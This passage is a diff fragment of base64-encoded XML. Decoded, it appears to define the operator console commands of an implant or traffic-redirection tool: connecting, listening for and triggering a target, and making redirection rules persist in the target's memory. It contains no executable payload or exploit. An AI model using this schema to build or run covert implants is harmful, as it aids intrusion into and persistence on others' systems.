+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5jb25uZWN0X2hv
+c3RfZmlsZV9pZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+SG9zdCBGaWxl
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0
+eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwMzAwMDAwMjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAg
+ICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4N
+CiAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2Vj
+dGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPkhvc3Q8L3RpdGxl
+Pg0KICAgICAgICAgICAgPGVsZW1lbnQ+Y29ubmVjdF9ob3N0X2ZpbGVfaWQ8L2VsZW1lbnQ+DQog
+ICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xh
+eW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJsaXN0ZW4iPg0KICAgICAgPGhlbHB0
+ZXh0PldhaXRzIGZvciBhIGNvbm5lY3Rpb24gZnJvbSB0aGUgdGFyZ2V0LjwvaGVscHRleHQ+DQog
+ICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAg
+ICAgPHByaW1pdGl2ZT4weDAzMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRf
+cHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmlt
+aXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVz
+Pg0KICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5s
+aXN0ZW5faG9zdF9maWxlX2lkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5I
+b3N0IEZpbGU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4N
+CiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDAzMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRy
+aWJ1dGVzPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAg
+ICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+SG9z
+dDwvdGl0bGU+DQogICAgICAgICAgICA8ZWxlbWVudD5saXN0ZW5faG9zdF9maWxlX2lkPC9lbGVt
+ZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25j
+dXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0idHJpZ2dlciI+DQogICAg
+ICA8aGVscHRleHQ+Q2F1c2VzIHRoZSBJTE0gdG8gZW50ZXIgdHJpZ2dlciBtb2RlLjwvaGVscHRl
+eHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQog
+ICAgICAgICAgPHByaW1pdGl2ZT4weDAzMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAg
+PC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRy
+aWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vy
+c2VpZD50cmlnZ2VyX2hvc3RfZmlsZV9pZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNl
+bGFiZWw+SG9zdCBGaWxlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MzI8
+L3NpemU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwMzAwMDAwNDwvcHJpbWl0aXZlPg0K
+ICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWly
+ZWRfYXR0cmlidXRlcz4NCiAgICAgIDwvYXR0cmlidXRlcz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0
+Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRp
+dGxlPkhvc3Q8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+dHJpZ2dlcl9ob3N0X2ZpbGVf
+aWQ8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgPC9jbWRncnA+DQogIDxjbWRncnAg
+dGl0bGU9InJlZGlyIj4NCiAgICA8Y21kZ3JwIHRpdGxlPSJwZXJzaXN0Ij4NCiAgICAgIDxjbWQg
+dGl0bGU9ImVuYWJsZSI+DQogICAgICAgIDxoZWxwdGV4dD5NYWtlcyBhIHJlZGlyZWN0aW9uIHJ1
+bGUgcGVyc2lzdC48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8
+cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwQzAwMDAwNjwv
+cHJpbWl0aXZlPg0KICAgICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8
+b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0
+dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5yZWRpcmVjdF9wZXJz
+aXN0X2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlJ1bGUg
+SUQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEMwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8a2V5
+d29yZCB0aXRsZT0iLWEiPg0KICAgICAgICAgICAgICAgICAgICA8dmFsdWU+MDwvdmFsdWU+DQog
+ICAgICAgICAgICAgICAgPC9rZXl3b3JkPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRy
+aWJ1dGVzPg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgICA8aW52
+aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5yZWRpcmVjdF9wZXJzaXN0X2F0dHJpYl8yPC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZSBGbGFnPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5
+cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVm
+YXVsdHZhbHVlPjE8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEMwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgIDwvaW52aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICAgIDwv
+YXR0cmlidXRlcz4NCiAgICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgICAgPG9wdGlvbmFsX3Bh
+cmFtZXRlcnMvPg0KICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPHRpdGxlPlJlZGlyZWN0aW9uIFBlcnNpc3QgRW5hYmxlPC90aXRsZT4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+cmVkaXJlY3RfcGVyc2lzdF9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAg
+ICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9uY3Vyc2VzbGF5
+b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgICA8Y21kIHRpdGxlPSJkaXNhYmxlIj4NCiAgICAgICAg
+PGhlbHB0ZXh0PkRpc2FibGVzIGEgcmVkaXJlY3Rpb24gcnVsZXMgYWJpbGl0eSB0byBwZXJzaXN0
+LjwvaGVscHRleHQ+DQogICAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICAgIDxyZXF1aXJlZF9w
+cmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBDMDAwMDA2PC9wcmltaXRpdmU+
+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9w
+cmltaXRpdmVzLz4NCiAgICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgICA8YXR0cmlidXRlcz4N
+CiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnJlZGlyZWN0X2Rpc2FibGVfYXR0cmli
+XzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UnVsZSBJRDwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+
+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwQzAwMDAwNjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxrZXl3b3JkIHRpdGxl
+PSItYSI+DQogICAgICAgICAgICAgICAgICA8dmFsdWU+MDwvdmFsdWU+DQogICAgICAgICAgICAg
+ICAgPC9rZXl3b3JkPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwv
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAg
+ICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgICA8aW52aXNpYmxlX2F0dHJp
+YnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VpZD5yZWRpcmVjdF9kaXNhYmxlX2F0dHJpYl8yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWxhYmVsPkVuYWJsZSBGbGFnPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8
+L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEMwMDAwMDY8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgIDwvaW52aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICAgIDwvYXR0cmlidXRlcz4N
+CiAgICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0K
+ICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICAg
+IDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPHRpdGxlPlJl
+ZGlyZWN0aW9uIFBlcnNpc3QgRGlzYWJsZTwvdGl0bGU+DQogICAgICAgICAgICAgIDxlbGVtZW50
+PnJlZGlyZWN0X2Rpc2FibGVfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICAg
+IDwvY21kPg0KICAgIDwvY21kZ3JwPg0KICAgIDxjbWRncnAgdGl0bGU9InJ1bGUiPg0KICAgICAg
+PGNtZCB0aXRsZT0ic2hvdyI+DQogICAgICAgIDxoZWxwdGV4dD5EaXNwbGF5cyB0aGUgbGlzdCBv
+ZiBjb25maWd1cmVkIHJlZGlyZWN0aW9ucyBieSBJRCBhbG9uZyB3aXRoIGFueSBzdGF0aXN0aWNz
+IGFzc29jaWF0ZWQgd2l0aCBjdXJyZW50bHkgY29uZmlndXJlZCByZWRpcmVjdGlvbnMuPC9oZWxw
+dGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2
+ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEMwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICA8L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2
+ZXMvPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAg
+ICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+cmVkaXJlY3Rfc2hvd19hdHRyaWJfMTwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5SdWxlIElEPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5
+cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBDMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGtleXdvcmQgdGl0bGU9Ii1hIj4NCiAg
+ICAgICAgICAgICAgICAgIDx2YWx1ZT4wPC92YWx1ZT4NCiAgICAgICAgICAgICAgICA8L2tleXdv
+cmQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9w
+dGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxuY3Vy
+c2VzbGF5b3V0Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAg
+ICAgICAgICAgICAgPHRpdGxlPlJlZGlyZWN0aW9uIFNob3c8L3RpdGxlPg0KICAgICAgICAgICAg
+ICA8ZWxlbWVudD5yZWRpcmVjdF9zaG93X2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+
+DQogICAgICA8L2NtZD4NCiAgICA8L2NtZGdycD4NCiAgICA8Y21kIHRpdGxlPSJzdGF0dXMiPg0K
+ICAgICAgPGhlbHB0ZXh0PlNob3dzIHN0YXRpc3RpY3MgYWJvdXQgdGhlIHJlZGlyZWN0IGNhcGFi
+aWxpdHkuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRf
+cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEMwMDAwMDA8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0
+aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAg
+ICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5SZWRp
+cmVjdGlvbiBTdGF0dXM8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRs
+ZT0ic3RvcmUiPg0KICAgICAgPGhlbHB0ZXh0PkNvcGllcyB0aGUgcmVkaXJlY3QgY2FwYWJpbGl0
+eSBzZXR0aW5ncyBmcm9tIHZvbGF0aWxlIG1lbW9yeSB0byBwZXJzaXN0ZW50IG1lbW9yeSBvbiB0
+aGUgdGFyZ2V0LjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVp
+cmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDBDMDAwMDAyPC9wcmltaXRp
+dmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3By
+aW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQog
+ICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+
+UmVkaXJlY3Rpb24gU3RvcmU8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8
+L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0
+aXRsZT0iZGVsZXRlIj4NCiAgICAgIDxoZWxwdGV4dD5EZWxldGVzIGEgcHJldmlvdXNseSBjcmVh
+dGVkIHJlZGlyZWN0aW9uIHVzaW5nIHRoZSBJRCByZXR1cm5lZCBmcm9tIGVpdGhlciB0aGUgcmVk
+aXJlY3Qgc2hvdyBvciByZWRpcmVjdCBjcmVhdGUgY29tbWFuZC48L2hlbHB0ZXh0Pg0KICAgICAg
+PHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwQzAwMDAxMjwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAg
+ICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+cmVkaXJl
+Y3RfZGVsX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5SdWxl
+IElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+IDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwQzAwMDAxMjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPGtleXdvcmQgdGl0bGU9
+Ii1hIj4NCiAgICAgICAgICAgICAgICA8dmFsdWU+MDwvdmFsdWU+DQogICAgICAgICAgICAgIDwv
+a2V5d29yZD4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9h
+dHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlv
+bmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+
+DQogICAgICAgIDxvcHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgICAgIDxwYXJhbWV0ZXIgZmxh
+Zz0iZiI+DQogICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4N
+CiAgICAgICAgICAgIDxuY3Vyc2VpZD5yZWRpcmVjdF9kZWxfYXR0cmliXzI8L25jdXJzZWlkPg0K
+ICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkZvcmNlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+IDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAg
+ICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8
+L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBDMDAwMDEyPC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAg
+ICAgICA8aGVscHRleHQ+Rm9yY2UgdGhlIGFjdGlvbiB0byBvY2N1ciBpbW1lZGlhdGVseS48L2hl
+bHB0ZXh0Pg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9wYXJhbWV0ZXI+
+DQogICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgIDwvcGFyYW1ldGVycz4NCiAg
+ICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1u
+Pg0KICAgICAgICAgICAgPHRpdGxlPkRlbGV0ZSByZWRpcmVjdGlvbjwvdGl0bGU+DQogICAgICAg
+ICAgICA8ZWxlbWVudD5yZWRpcmVjdF9kZWxfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAg
+ICA8ZWxlbWVudD5yZWRpcmVjdF9kZWxfYXR0cmliXzI8L2VsZW1lbnQ+DQogICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8
+L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJlbmFibGUiPg0KICAgICAgPGhlbHB0ZXh0PkVuYWJsZXMg
+YSByZWRpcmVjdGlvbiBydWxlLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAg
+ICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDBDMDAwMDA5
+PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9w
+dGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0
+ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5yZWRpcmVjdF9lbmFibGVfYXR0cmliXzE8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlJ1bGUgSUQ8L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90
+eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBDMDAwMDA5PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwv
+YXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8a2V5d29yZCB0aXRsZT0iLWEiPg0KICAgICAgICAg
+ICAgICAgIDx2YWx1ZT4wPC92YWx1ZT4NCiAgICAgICAgICAgICAgPC9rZXl3b3JkPg0KICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAg
+ICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+
+DQogICAgICAgIDxpbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+cmVkaXJlY3RfZW5hYmxlX2F0dHJpYl8yPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Gb3JjZSBFbmFibGU8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+dWludDMy
+PC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVm
+YXVsdHZhbHVlPjE8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBD
+MDAwMDA5PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVy
